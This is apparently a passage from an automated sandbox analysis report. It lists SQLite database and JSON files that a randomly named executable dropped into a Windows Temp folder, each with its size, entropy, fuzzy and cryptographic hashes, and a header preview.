Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BP8geyAmC1

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BaKCb94k6i

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BdFPVyYEqr

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BgvzrBioeO

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CKDFwiX5m8

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CbGv05sAxx

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CtNesNE0lm

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CuO0fAigUw

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D0oa2B6Bdp

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DE0so34V9H

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DmjVZiqNOY

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DpUUM4PyCu

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ECjL9JO5kn

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EJugo40hW6

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EeEAsMWRIt

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ElJ3cGUgDS

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EpcfVd1bOP

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ExhmLG7Hh8

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F7JrJiXZTP

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\FARj2nz6aT

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FREylEzTNu

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FYJLJQo8Jv

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Fgnz9FVNCm

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FnCUktceeb

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FuOlWGkJMu

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FvOqCCX7Y6

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
